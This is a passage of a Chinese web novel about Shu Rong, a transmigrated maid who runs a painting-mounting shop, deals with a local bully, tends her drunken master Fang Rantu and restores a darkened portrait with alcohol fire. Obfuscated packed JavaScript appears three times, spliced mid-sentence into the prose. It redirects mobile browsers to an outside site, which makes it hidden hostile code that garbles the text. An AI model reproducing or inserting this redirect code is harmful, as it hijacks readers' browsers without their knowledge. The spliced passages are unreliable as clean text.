舒容走到王大铁身边,一手拿起地上的箩筐,冷眼看着他道:“你把人家姑娘的梨子全弄坏了,是不是该赔钱?” 王大铁看她手里的箩筐,怕他又要打自己,连声点头道;“该赔,该赔。我赔,我陪。” 舒容把箩筐放回地上,把手摊开在他面前,“一共八十文钱,拿来吧。” “我身上没有钱。”王大铁在枇杷巷里闲晃身上从来不带钱。 见舒容又要伸手去拿地上的箩筐,他连忙用双手挡住脸,“别打我,我家里有钱,我家就在前面的王记铁铺。” “那走吧,你在前面带路。”舒容对地上的王大铁笑着说。 看着比柳安身段还要漂亮的姑娘竟然是一个罗刹,王大铁连忙起身离得舒容远远地走在前面。他想等他爹来收拾舒容,到时候他也要把舒容打在他身上的一一还回去。 柳安把空箩筐用扁担挑着,跟在舒容身后往王记铁铺去。她往日从不敢反抗王大铁,更不敢找他赔钱,今日她看到舒容打人的飒爽英姿,却莫名有股信赖感,她觉得恩人一定能帮她拿到钱。 王记铁铺因为王大铁多年作恶,生意寥寥,王铁匠正坐在椅子上喝茶。看见自家宝贝儿子脸上挂彩回家,连忙起身奔向儿子,“儿子,谁打你了?” 王大铁觉得有了靠山,连忙躲在王铁匠的背后,指着跟在他身后的舒容,“爹,就是她,她打得我!” 王铁匠睁大眼睛盯着戴着帷帽的舒容,恶狠狠道:“就是你打得我儿子?” “你儿子调戏姑娘未果,强行打翻人家的箩筐,把要卖的梨子踩坏。我不过是见有些人有爹生没爹教帮忙教导教导罢了。” “你,你……”王铁匠咬牙切齿地盯着舒容,瞥见旁边有烧红的鉄钳就想拿过来往舒容身上招呼。 柳安看到王铁匠的目光,她也听说过王铁匠的事迹,怕舒容被王铁匠打,上前拉住舒容的衣袖道:“恩人,要不钱我们不要了吧。” 舒容轻轻拍柳安的手,“安心,没事的。” 舒容从袖袋里头取出方家的令牌,语气嚣张道:“王铁匠,不知道你不知道两条街外的方府,方大人是现任的工部尚书,我可是方家主母面前得脸的丫鬟。今天这件事是你儿子有错在先,我劝你还是认错赔钱的好。若不然,我闹到我们太太哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238080|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让方大人为我做主,事情可就没有那么简单了。” 王铁匠仔细看舒容手里的令牌,确实是方府的,他年轻时曾跟着师傅帮方府打造过一批马蹄掌,看到过方府掌事身上就是这样的令牌。再看舒容虽戴着帷帽,衣服鞋子都是上好的布料,他更是彻底相信了。他靠蛮力能够在枇杷巷里头逞威风,但对上方府这样的官宦人家他根本不敢招惹。 “姑娘,是我儿子的错,我没管好儿子,柳安的果子值多少钱?我现在就赔。”王铁匠思忖一番民不与官斗后,态度大改。 王大铁见自家老爹不能为自己撑腰,撒娇道:“爹,你怎么服软啦?你打她呀!” 王铁匠侧身瞪了一眼自家儿子,厉声道:“你给我闭嘴!” “一共八十文钱,拿来吧。”舒容把令牌收好,对王铁匠说道。 王铁匠拿出自己放钱的钱箱,从一吊钱上数下二十文后将剩下的钱拿给舒容,好声好气道:“姑娘,这是八十文,你数数。” 舒容把钱递给柳安,“你数数钱对不对?” 柳安接过铜钱,眼睛里又溢出泪来,数过后,带着哭腔对舒容道:“恩人,钱是对的。” 舒容歪头看躲在王铁匠身后骂骂咧咧的王大铁,王大铁见舒容看他,立马把身子缩在王铁匠的身后。舒容见事情了结,笑着对王铁匠说:“既然钱赔了,我们也就告辞了。还望你能管教好自家儿子,不要再去招惹这个姑娘,要是我听见这个姑娘跟我告状,那我还是会告到我家老爷面前去的。” 听到舒容警告意味明显的话语,王铁匠脸上赔笑道:“再也不会了,我一定看好他不让他去骚扰柳安,姑娘慢走。” “走吧。”舒容转身对柳安说道。 两人一路并行走到刚刚舒容站的十字街口。 “恩人,真是谢谢你。”柳安拿出二十文钱就要往舒容手里塞。 舒容连忙推辞,“姑娘,我不能要,你好好收着吧。我姓舒,舒服的舒,你下次要是还遇到这人欺负就到方府的东侧门来找我,我来帮你。”没想到方府的名号如此管用,不用来惩治恶人简直浪费了。 “柳安多谢姑娘。”柳安说着就要地上一跪。 舒容见她动作,连忙制止,“不必如此,今日我还有事,我们就此分别吧。” 跟柳安分开后,舒容又走了半个多时辰才到翰墨阁。在伙计的推荐下她买了辰州产的朱砂印泥。又走了一个时辰才回到方府。舒容突然觉得很有必要买一辆马车放在存古堂,自己稍微去远一点的地方只靠步行太浪费时间。。 想起店里似乎绫锦库存不够需要采买,她又回了一趟存古堂将店里绫锦的库存账册查看了一遍。自她接手存古堂后就将店里各项物资分门别类整理摆放,造册登记,这样找物资时一目了然。舒容在存古堂忙活一通,等回桂馨院时已经快到傍晚时分。 她今日来往翰墨斋走了近两个时辰,身体疲累得很,便打算印泥等明日再送去竹香院。吃过晚膳后她就早早沐浴就寝。正睡得香甜就听见咚咚咚的敲门声,一下子把她惊醒。 27. 你为什么生气? “二少爷,我们姑娘已经睡下了。”绿影在房间里做绣活,刚准备睡就听见院子里传来人声,一看竟然是二少爷到了竹香院。 舒容听到门外绿影说话的声音,才知道原来是方冉途到竹香院来了,真是够稀奇的。她起身穿好衣服方才打开房门。见到康平扶着穿着一身碧山色道袍的方冉途,方冉途身子倚在康平的身上,脸上有股不正常的潮红,看着是喝醉了。 见到舒容开门,方冉途径直推开她,跌跌撞撞地往她房里走。康平怕方冉途摔倒,连忙上前扶住他,“二少爷,你慢些。” 舒容见状只好吩咐绿影点灯。等绿影把灯点好,舒容发现方冉途已经躺在她的枕头上了。 见到舒容皱眉的样子,康平一脸歉意过来解释道:“舒容姑娘,打扰你休息了。今晚二少爷去丞相府参加骆简弋骆大人家孩子的满月宴,席间被骆大人领着人轮流敬酒,酒席一散就醉成这样了。我本来是带二少爷回竹香院休息的,二少爷非要来桂馨院找你。” “舒容,舒容。”方冉途微眯着眼睛,大声喊着舒容的名字。 舒容让康平去准备水给方冉途洗漱。她看见绿影还站在屋里,吩咐绿影回去睡觉,自己则走到方冉途面前。 方冉途在宴席上被骆简弋灌了太多酒,虽然这些酒在平时并不足以让他喝醉,今晚却不知道怎么让他感觉心烦意乱,浑身燥热不安。康平把他扶到竹香院他就想起那天晚上舒容拂袖而去,明明他做了好事,得不到半句感谢还要被她甩脸色,他突然就想来桂馨院里折腾她。 舒容走到床边观察他,他眼神迷离,嘴角扯着若有似无的微笑,白皙的脸庞和耳朵都变得绯红,微微张开的领口露出的肌肤也是淡淡的粉红色。美男醉酒还是挺好看的,很有一种破碎感。但舒容怕他要随时呕吐,因此只站在床边看他。见他要把鞋放到自己床上去,舒容赶紧上前帮他脱掉了脚上穿的黑色单靴。脱完后舒容赶紧又去面盆架上用木盆里剩的一点水把自己手洗干净。 “水,我要喝水。” 听到他嚷着要喝水,舒容擦干手去茶桌上倒了一杯水。先放在架子床旁边的案几上,将方冉途从床上扶起来后才将茶杯递到他的手上。方冉途此时意识还比较清明,从舒容手中拿过茶杯后几口就将杯中水饮尽。 “还要喝水吗?”舒容见他似乎很口渴的样子。 方冉途点点头,“要。” 舒容又给他倒了一杯水,正准备递给他,谁知道他却直接就着舒容的手喝了起来。舒容感觉到指腹传来的热意,有些不适,但看他喝醉了眼下也没办法跟他计较。等他喝完后舒容立马就把手从他手里抽了出来。 很快,康平就带着热水走进屋内,“舒容姑娘,水来了。” “好,我来就行了,你先回去休息吧,你也辛苦了。”舒容笑着对康平说道。康平在的话,她还要演出一副爱妾侍奉醉酒夫君的戏码,康平不在的话,她随便帮方冉途擦擦脸就可以了收拾收拾睡觉了。 康平想着舒容和方冉途一向在房里喜欢两人独处,他也就点点头回了竹香院,想着第二天一早再来桂馨院服侍方冉途。 舒容看着床上似乎已经睡着的方冉途,拧了面巾帮他擦脸,方冉途非常配合一动不动。舒容很快帮他擦好了脸和手。看着方冉途光洁的脸庞,舒容突然想上去摸一下,想着也就这样做了。她用指尖轻轻摸上方冉途的脸颊,果然细嫩。她常听小说里讲有人脸嫩得像剥了壳的鸡蛋,她在现实中没见过谁的皮肤好成这样,这方冉途倒还勉强配得上这个比喻。 刚想缩回手,方冉途一把拉住她的手,他此刻脑袋已经昏昏沉沉,睁大眼睛看着舒容。语气委屈道:“你摸我?” “没有,我刚才帮你擦脸来着。”舒容没想到他突然醒过来,随口胡诌道。 舒容感受到他手掌传来的烫人的温度,想甩开他的手,他感受到她的挣扎反把她的手握得更紧。 “我也要摸回来。”他睁着无辜的双眼,傻笑着说道。 “啊?” 舒容还没来得及反应,方冉途忽然松开她的手,拉住她的胳膊,重重一拽把舒容拽进自己的怀里。 两个人突然贴得这样近,舒容的脸贴着他的胸口,隔着衣服她觉得自己能清晰听到来自另一个身体的心跳声。方冉途的手突然抚上舒容的脸,舒容觉得自己的半张脸都被热气包裹住了。方冉途现在浑身燥热,觉得舒容的脸冰冰凉凉摸起来很是舒服,不住地用指腹轻轻摩挲她的脸。 舒容试图起身,方冉途却突然用另一只手揽住了她的背,舒容感受到背上传来了突如其来的一股热量。她现在闻到的都是他鼻息间的酒气,虽然不是像她预想中的那般难闻,但她还是觉得很不舒服。 “方冉途,你松手。”舒容对他没好气地说道。 方冉途怀抱着舒容感受从她身体上散出的凉意,很大缓解了身体的燥热,根本就不想松开手。他鼻息间闻到舒容发丝的皂角香气,问出了他疑惑了很久的问题:“舒容,你上次为什么生气?” 舒容没想到他对上次的事情还在耿耿于怀,她本来明日都打算上门跟他道歉了,现在看来那印泥还是留着她将来自己用吧。 没听到舒容的回答,方冉途又用手拍拍舒容的脑袋,“舒容,你怎么不说话?” 舒容听到自己脑袋被他拍得咚咚响,心中怒意更甚,他以为他在挑西瓜呢,她恶狠狠道:“因为你被舒力骗了,舒力是个赌徒,你是个傻瓜。”舒容终于说出了自己的心里话。 “哦,我被骗了。所以你生气。”方冉途喃喃自语道。 “可以放开我了吧?你这样抱着我很不舒服?”舒容觉得自己随时在发飙的边缘,方冉途怎么醉酒跟换了一个人似的,清醒的时候对她避之不及,醉酒了就搂搂抱抱。 “好,你不舒服我放开你。”方冉途说着果真松开了抱住舒容的手,舒容连忙起身从他怀里起身。 看着方冉途眼睛迷离地看着她,舒容刚刚的气又消了大半,美色真的误人。 “舒容,我热。我要脱衣裳。”方冉途在将手伸成大字型在床上摊开道。 为了赶紧结束折腾,舒容认命地给方冉途脱去了三层衣服,只留下里头穿的一层里衣。 “我还是好热。”方冉途说着自己把自己的里衣也脱掉了。身体终于感觉凉爽后便闭上眼睛沉沉睡了过去。 看着他把自己上身剥个干干净净,舒容觉得方二少爷明天一定会后悔今天晚上的所作所为,为了保全他的脸面和清白,舒容决定今晚把床让给他。舒容房间里还有一张小小的锦榻,舒容决定今天晚上将就在锦榻上过夜。舒容吹灭蜡烛后躺在锦榻上,被方冉途闹了一通,她睡意汹涌,很快就又睡了过去。 方冉途第二日在往常的时候苏醒,睁开眼才发现自己躺在一张陌生的床榻,自己上半身还未着寸缕,他连忙用一侧的锦被包裹住自己的身体。清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241188|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒过后,他记忆渐渐回笼,想起昨天晚上自己对舒容做的那些事,他白皙的脸上飞起红云。 他赶紧起身从衣架上取下昨天的衣服穿好。走出内室才发现舒容整个人蜷缩在锦榻上睡得正香甜,他心里更觉得自己对不起舒容,轻手轻脚地开门出去了。 屋外康平提着灯笼刚到桂馨院,正准备叫方冉途起床,就见他从舒容房间出来了。 “二少爷。” 方冉途做了一个嘘声的动作,领着康平回了竹香院。 舒容一觉睡到天光大亮,睡醒吃过早食后就忙着去了存古斋。顾风听来店里装裱字画的客人说翰墨阁到了一批很好的连四纸,忙到后院找到舒容说此事。舒容想到自己店里纸料已经没有多少,便叫上胡顺去雇马车,两人去翰墨阁买纸。 舒容到时这批纸已经不剩多少,她全部买下,又看到店内还有成色不错的各类纸张,她觉得以后或许用得到,也每样各买了一些。一趟翰墨阁下来,舒容花了一百二十两银子。翰墨阁的伙计和胡顺一起把纸放到马车上放好。舒容正准备上车就听到对面墨香街的艺风堂伙计骂人的声音,她忍不住往那边看去。 “老翁,不是我说你,你上整个墨香街问问,谁家能十文钱装裱一副画,你别在这儿白日做梦了。还有你这画都烂成这个样子,根本没有装裱的必要。我家是做生意的铺子不是百善堂,不会做赔本的买卖,你哪儿凉快哪儿歇着去吧。”穿褐色直身的年轻伙计口气不善地对被他推到店门外的老翁说道。 “小哥,你让我见见你家掌柜,我跟你家掌柜是故交啊。”那老翁祈求地对伙计说道。 “别在这里乱攀关系,我们家掌柜不认识你这号人,赶紧滚。”伙计一脸嫌弃地说完便转身往店里面去了。 那老翁手里抱着副画,在街头叹息不止。 舒容一时有些好奇,下车请老翁到马车旁说话。 原来这老翁名叫路近明,时年六十有四,家住在京城外的顾家庄。祖上原也是乡绅人家,到他父亲这一代落败了。他自己科举也无望只考取了秀才的功名,多次参加乡试均无功而返,反而把家中仅有的一点积蓄也给用光了。无奈只能弃科举,办了一家小小的私塾教附近村里的孩子们识字。 好在他在初次参加乡试时遇到了她的娘子崔蕙兰,她的娘子是个老童生的女儿,温雅贤淑,两人一见钟情。他娘子家中颇有家业但母亲早逝,他父亲又娶继室,继室生一子一女,平素对他娘子动辄打骂,老童生只作不知。他娘子非要嫁给他,她继母便克扣她亡母留下的丰厚嫁妆,只允许她拿走一副亡母的画像。 她娘子就这样嫁到了他家,两人虽未育一儿半女也和和美美地过了半生。近日他娘子突感伤寒,想念亡母,想拿出画像一观,却发现母亲的脸已经变黑,变得模糊不清。他娘子伤心不已,其病愈重。他的私塾已经许久没有学生,为给娘子治病已经变卖了家中许多家什,现在手上仅剩十文铜板。因为跟艺风堂掌柜年轻在同一个老师处学习,路近明还曾救过他一命,所以才想来这里豁出老脸攀攀交情,圆满娘子的心愿。 路近明说完这席话,浑浊的眼睛里流下滚烫的热泪,她娘子跟他一辈子没有过过什么好日子,现在病中仅有这一个心愿他也帮她实现不了。 舒容听完他的话,又借过他手中的画一观,发现只是画中人物的面部出现明显的黑斑,便道:“老翁不必如此伤感,此画我或许可以一救。” 28. 纸上走火 “当真?”路近明听到舒容的话重新燃起了希望。 舒容笑道:“自然是真的,我在城东的甘井巷开有一家装池店,叫存古堂。老翁若信得过我,可将此画托付给我,只是修复需要一些时日,老翁可在半月后来存古堂取画。” “老朽自是信得过姑娘,但我只有十文钱的工费……”路近明颇有些不好意思,他的故交都因为他出不起钱将他轰出店外,他与舒容萍水相逢,对方安能凭十文钱帮他? 舒容看出他的犹豫,想了个借口,道:“老翁这画我是当做教材跟我徒弟们演示的,因此不取分毫工费,老翁不必为此烦恼。” 听她这样说,路近明才犹豫地把画递给舒容。“多谢姑娘大恩。”路近明眼眶中又泛起泪,模糊了视线,他明白舒容是看他出不起工费才找了这样的借口。 “不必言谢,我还有事,先走一步。老翁记得半月后来取画就是。”舒容跟路近明告辞后抱起画上了马车。 胡顺一直坐在马车上听着舒容和路近明的对话,他不明白舒容为什么分文不取还要帮忙修画。驾车回去的路上,他忍不住问道:“师父,你为何帮他修画?” “此事于他而言是件难事,于我而言却是件易事,我如今既有力量帮助他,修复这幅画完成他娘子的心愿,何乐而不为呢。” 回到存古堂,舒容拿了一两银子给胡顺,让他去酒肆打一壶最烈的烧酒回来。 “师父,你要喝酒啊?”胡顺疑惑地问。 舒容笑笑,“刚刚我不是跟那个老翁说要拿那画跟你们演示,这烧酒正是其中不可缺少的一环。你记得要买最烈的酒,等你买回来就知道我拿酒做什么了。”舒容知道这个时代已经有了蒸馏酒,她在街上闲逛的时候在酒肆里头品尝过。 胡顺被舒容的话勾起了好奇心,去车马行还完马车后就去酒肆打了一壶最烈的稻香酒。 胡顺打完酒回来,舒容还在库房里头整理纸张。现在装裱的画越来越多,裱房的空间已经有些不够用,舒容便把裱房旁边的一间屋里腾出来做库房使用。这个小院子里共有一间堂屋和四间房间,一个灶房和一间茅厕。除了裱房和库房占据两间外,胡顺在店中居住占去一间,还有一间则暂时空着。舒容觉得在外头吃饭很是不便,买下店铺后便在附近请了一个厨艺好的妇人吴婶,每天中午负责来存古堂做午膳。 此时吴婶刚好做好饭,喊他们去堂屋吃饭。吃完饭后舒容着手修复路近明的那副工笔人物画。做好伤况表后就开始清洗。胡顺给李碧兰说了舒容要用酒修画,从舒容开始洗画,这两人就凑在她操作的裱糊台旁边看着。 “师傅,你在哪一步要用到酒啊?”李碧兰发问道。 “师傅,你是不是要用酒来洗画?”胡顺道,烧酒不然不会加在浆糊里,他能想到的就是用酒来洗画了。 “酒怎么洗画,师兄你猜的肯定不对。”李碧兰觉得胡顺的想法简直异想天开。 舒容一边用面巾洗画,一边听着两个徒弟的讨论,等看到盆中温水已然变得清澈,她便决定为两人揭开谜底。她抬头笑着对二人说:“我用酒是来烧画。” “烧画?”李碧兰更不解。 “画怎么能烧呢?岂不是要烧出个洞?”胡顺向来相信舒容的手艺,听到用酒烧画还是觉得不可思议。 舒容让两个徒弟观察人物面部的黑斑,解释道:“这幅画之所以在人的面部出现黑斑是因为人脸使用的颜料是铅白,铅白长时间暴露在空气中,就有可能会出现这种由白变黑的变化,我们称之为返铅。我们用酒来烧画便可以使之去黑重新恢复原本的白色。这个方法就叫做纸上走火。” “竟然是这样,师父你是从哪里知道这个方法的?”李碧兰没想到烧酒还能这样用。 “这也是我师父教给我的。”舒容想起她第一次知道纸上走火是在大学课堂上,当时她也很是好奇。下课后她便从网上买了好几副反铅的画,尝试操作过好多次,终于才掌握了这门技术。虽然现在修复多用双氧水处理返铅,但她当时觉得用火烧十分炫酷便急着学会,没想到居然在这里派上了用场。 只见舒容用打湿的宣纸将返铅的地方牢牢圈住,再往封闭的圆圈里面加入一层清水,然后加入少量的烧酒,接着用火折子将圆圈中的烧酒点燃。 舒容一边盯着燃烧的情况,一边手里拿着湿毛巾准备随时灭火。幸而她的技术过硬,加入的烧酒刚刚好将黑色烧尽。 李碧兰和胡顺目不转睛地盯着燃烧的火焰,看着火焰下一点点变白的画面,两人都张大了嘴巴看着眼前发生的一幕。 舒容见火灭后,笑着问两个徒弟:“如此,你们可相信了?” 李碧兰笑着点点头,“师父,若下次我碰到这样的画我也用这个方法试一试。” “师父,我也学会了,只是我还是不敢做的,我怕把人家的画给烧毁了。”胡顺嘿嘿笑道。 “纸上走火需要熟练后方能让你们在客人的画上操作,不过我们店目前接到的修复单子很少,你们一时半会儿也遇不上这个。不过先学会了,总是有益无弊的,之后我会去搜集一些返铅的画回来让你们做日常的练习。” “谢谢师父。” “谢谢师父。” “好了,去忙你们手头的活儿吧。” 舒容这厢在存古堂里忙着修画,方冉途在翰林院里整理前朝国史之余脑海里却不断回忆起昨晚醉酒的事情。 他本来只是想去桂馨院折腾舒容让她侍候自己,没想到自己酒后失德。不仅把舒容搂在怀里,摸了她的脸,还当着她的面自己脱了里衣。这下舒容一定觉得他是个轻浮的人,他往常表现出的不近女色都是伪装了。 又想到昨晚舒容说舒力是个赌徒,自己被他蒙骗了。他今日一早便让康平去打听舒力的底细。午膳时康平已经进来告诉他事情的真相,果然如舒容所言,舒力是一个不折不扣的赌徒,家中值钱的物件都被他变卖,而且还有过想要卖舒容换银子赌钱的前科。看来确实是他自以为是。 舒力的事和昨天晚上的事,方冉途觉得自己有必要去给舒容赔礼道歉,他很有必要纠正舒容心中他识人不清还是伪君子的形象。 就在他思索要不要再给舒容送些首饰时,昨天晚上害他酒后失德的始作俑者又走到他面前。 “多谢方编修昨日来参加小儿的满月宴,不知道昨晚可还睡得好?”骆简弋坏笑着看向脸色一如往常的方冉途,昨天他可在方冉途喝的酒中加了一些料。方冉途被小厮扶着走的时候,他感觉已经起了药效。今日一看倒像是个没事人一样,想来还是他太手下留情了,下次就应该把一整瓶春情露都加进方冉途喝的酒里。 看着骆简弋脸上不怀好意的笑容,方冉途觉得自己的猜测是对的。他昨日在丞相府中喝的酒量并不足以使他喝醉,就是眼前这人在他的酒里加了东西。 “多谢骆大人关心,下官昨晚睡得很好。”方冉途面部表情地答道。 “那方编修必然是温香软玉在怀,只是不知方编修何时才有子嗣呢?我还盼望着我家小儿和方编修的孩子一同进学呢。”骆简弋眯起眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245846|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用颇带嘲讽的语气说道。 方冉途是个少年英才又怎样,现在他骆简弋才是人生得意赢家,岳丈给他铺好路,又有娇妻为他诞下麟儿。他方冉途呢,还不过是个七品的编修,至于娶妻生子更有没有影儿的事,看他细皮嫩肉白面庞,那翠云馆的小倌说不定就是他的相好,只是嘴硬不肯承认罢了。 方冉途觉得骆简弋攀上丞相后,其个性更加可恶,他们本就不是同道中人,也没有话好讲。他冷声道;“下官的家事就不劳骆大人费心了,我想在翰林院还是以公事为先,不知骆大人以为如何呢?” 他说完话便不再理骆简弋,埋首誊抄起目录来。 “哼。”骆简弋见他不理自己拂袖离去了。 方冉途手头的目录誊抄好,起身送往他的老师,翰林学士毛先永处。毛先永今年六十五岁,一路从贫家子走到今日的翰林学士,才思敏捷,为官清正,在官场颇有贤名。方冉途是他收的最后一个弟子,因此对他诸多照顾。 “老师,这是整理好的前朝国史目录。”方冉途把誊抄好的目录放到毛先永的书案前。 毛先永抬头看着自己的小徒弟,决定把自己辞官的事情告诉他。“冉途,为师已经向陛下乞骸骨,不日将回扶阳。为师今后不能再照拂你,你自己多加保重。” 方冉途知道自从六年前师娘病逝老师就有回乡归隐的念头,因陛下夺情他也未曾为师娘守孝。看着老师花白的鬓发,他也说不出挽留的话来,他知道老师已经期待这一天很久了。 “老师,那你何时动身?学生总要送你一程。” “应当就在这个月末。”毛先永捋着自己的胡子道。 “好,到时候老师一定要提前跟我说。” “嗯,你先下去吧。” 下值后,方冉途让康平把车赶到褚府,褚炤前段时间突然把官辞了,说是官场太无趣,他想要去云游四海浪迹江湖。 方冉途到的时候,褚炤正在后花园里练剑,一把长剑在他手里舞得行云流水,杀气四射。 “少爷,方大人来了。” 听到仆人的通报,褚炤停下舞剑的动作,看到方冉途站在屋檐的台阶上,忙走到他面前。“你怎么想着来看我啦?是不是想我?你看看我这把青阳剑,削铁如泥,锋利无比,以后我行走江湖就靠它。”说着把手里的宝剑递给方冉途看。 方冉途接过褚炤手里的青阳剑,青阳剑身上饰有几何纹样,剑刃散发出丝丝寒光,握感极佳,确实是把不可多得的好剑。 褚炤拉他到凉亭里坐下,仆人随后送来茶水,褚炤端起茶碗痛饮一口。看着方冉途欣赏自己的宝剑心中得意,嘴角露出满意的笑容。 “冉途,你还没说今日来找我做什么?我可告诉你,我已征得父母同意,最迟下个月就要出门游历江湖了。” 方冉途听到褚炤也要离开的消息,心里有些失落。他把剑还给他,道:“难道我无事不能到你褚大公子府上做客,今日我就是来看看你的。” 褚炤把剑收鞘,咧起嘴用手指着他笑道:“看来方二少爷是舍不得我啊。你不用太想我,少则三五年,多则七八年,我游历够了,自会回来的。”他受够了在京城里头做个富贵闲人,他也要去天地间自由行走。 跟褚炤闲谈一阵后,方冉途才去珍宝阁,挑挑选选下这次他还是买了三套头面,花了八百两银子。 第二日是休沐,方冉途上午去采晖堂问候何夫人,陪何夫人吃过午膳就回竹香院。怕舒容要午睡,他特意等到申时正才带上三套头面往桂馨院去。 29. 一起游河 舒容此时却不在桂馨院里。她昨天晚上睡觉前突然决定要把裱褙技艺像后世那样用文字记录下来,编纂成册,方便以后教学和传播。今早吃过早食她就往存古堂去了。 她刚写了个大纲出来,顾风就接到一个大单子。城南的陈员外两月后满七十大寿,因他酷爱丹青,尤爱画荷花。就想用自己最近画的五十副荷花图装裱出来到时候用作贺寿的回礼。他从朋友处听说存古斋物美价廉,裱褙技艺过硬,便让管家把画拿到这里来装裱。 时间紧任务重,收了五十两定金后,全店就陷入了繁忙之中。原来的大墙已经不够用,舒容便和胡顺一起又花了一天的时间将裱房剩下的三面墙都做成大墙。并且预备将剩下的那间空房也布置成裱房,以备不时之需。 等舒容回家时已经快到傍晚,路上遇到沿街叫卖艾饼的,她也买上两个准备回去和绿影一起品尝。 绿影怕舒容回来没有准备,随时注意着小门的方向,一听到开门的动静就赶紧跑到舒容面前,“姑娘,二少爷从下午就来了,之前一直在你房里坐着,方才往姑娘书房去了。” “书房?”舒容在书房里放着好些她买来的书,柜子上还放着她从系统那里抽来的马蹄刀。舒容暂时还不想让方冉途知道自己开店的事实,把手头用荷叶包好的艾饼递给绿影后,快步往书房方向走。 书房的门开着,方冉途站在书架前随意浏览着舒容书架上的书,舒容见他目光突然放到自己放马蹄刀的小竹筐上,仿佛下一秒就要拿出来看看。 “奴婢给二少爷请安。”舒容赶紧走进书房大声对他说道。 听到她的声音,方冉途准备拿竹筐子的手收了回来,侧过身看她,“你回来了。” “是,奴婢午后去附近闲逛,不知二少爷来桂馨院,未能迎接还望恕罪。只是不知二少爷来桂馨院做什么?”舒容脸上堆笑,心里松了一口气,还好来得及时。 看到舒容笑意盈盈的双眼,方冉途觉得有些晃眼睛,只看她一眼就匆匆别开脸。他转过身,将手负于身后,缓步走到舒容面前。 舒容看他慢吞吞的样子,有些摸不准他要做什么,只好脸上保持着客气的微笑看着他。 “舒容。”方冉途看着舒容的脸唤她。 “嗯?”舒容意识地回应他。 “我……”方冉途觉得自己还是没有勇气开口。他没有跟人道歉过,现在有些张不开嘴。 舒容见他刚说一个字就抿住嘴唇不再说话,脸上有些羞赧之色,心中更是疑惑。方二少爷在他面前冷若冰山是常态,温声细语是偶尔,醉酒的狂野是意外,至于这种羞涩的神色真是第一次见。舒容继续保持着标准的微笑看着方冉途,眼神中满满都是鼓励。她倒要看看方二少爷究竟要说点什么。 舒容在心中默念着数字读秒,等她念到九十九时方冉途终于开口。 看着她的眼睛,方冉途一口气把想说的话都说了出来,“舒容,我今日是来跟你道歉的。一是因为舒力的事情我识人不清,自作主张;二是因为那日我醉酒失态,到你屋里胡闹。我很抱歉。” 没想到他会主动认错,舒容突然觉得那盒印泥还是应该送给他。 方冉途说完就观察舒容的脸色,见她梨涡含笑他才放下心来。 “二少爷不必如此,我哥哥的事情我也有错,我若及时跟你说明他的为人,二少爷也不会上当受骗了。至于醉酒一事,奴婢本就是二少爷的通房,照顾二少爷是分内的事情,二少爷不必自责。”既然他能开口向她道歉,她也不会让人下不来台。 听她这样说,方冉途愈发觉得母亲说得没有错,舒容的确善良又很好说话。想到早上母亲说过现在济民河中央的桃花岛上正是桃花盛开的时候,让他有空带舒容去河上泛舟游玩。他便乘此机会向舒容发出邀约,“舒容,三月十二我休沐那天带你去游河,如何?” 两人刚刚缓和关系,她也没法拒绝,只得微笑着应下。 本次来桂馨院的事情已经完成,方冉途嘴角也勾起笑意,“那就这样说定了,等到那日我来桂馨院寻你。我还有事,就先回竹香院了。” 送走方冉途后,舒容赶紧将马蹄刀从小竹筐里拿出来放到屉桌的抽屉深处。 “姑娘,二少爷还给你送了三套头面过来,放在寝房的桌子上。”绿影见方冉途离开竹香院,方走进书房跟舒容说这件事。 舒容看过方冉途送的三套头面,比之前送的还要精美,也不知道他为什么老爱送头面给她。不过既然是他的一番心意,舒容还是好好收在梳妆台,等下次见他的时候戴上。 又忙碌了几日,舒容和徒弟二人终于把五十副荷花图都托纸上墙,众人可以歇息一阵,舒容便请店中众人到福记酒楼小聚,又给众人放了两日的假。 放假回来,舒容之前在木匠铺订做的两张大红漆的裱糊台也送到了店上,新布置的裱房和原来的裱房里头都是一样的,地板铺地,防止地上的湿气上涌,采光也是明而不晒,十分适宜装裱。李碧兰看到新裱房布置好立刻宣布她以后就要在新裱房中工作。 路近明岳母的人物像已经装裱完成,舒容把画放到前店,告诉顾风有人来取就直接将画给他,不必收钱。等到约定好的那天却始终不见路近明的身影。 又过了三日,顾风来后院告诉她路近明来了,想和她说说话。 舒容便把人请到了后院梨树下喝茶。 路近明抱着画匣走进后院,看见他满头的白发和蹒跚的步伐,舒容心中忽然有种不祥的预感。 两人在石凳上坐定,路近明从袖袋中取出一个花色精美的寿字络子,递到舒容面前,“姑娘,这是我娘子托我给姑娘的谢礼。姑娘一定要收下。” 舒容从他手中接过络子,笑道:“这络子真好看,多谢尊夫人。尊夫人病情可好些了?” 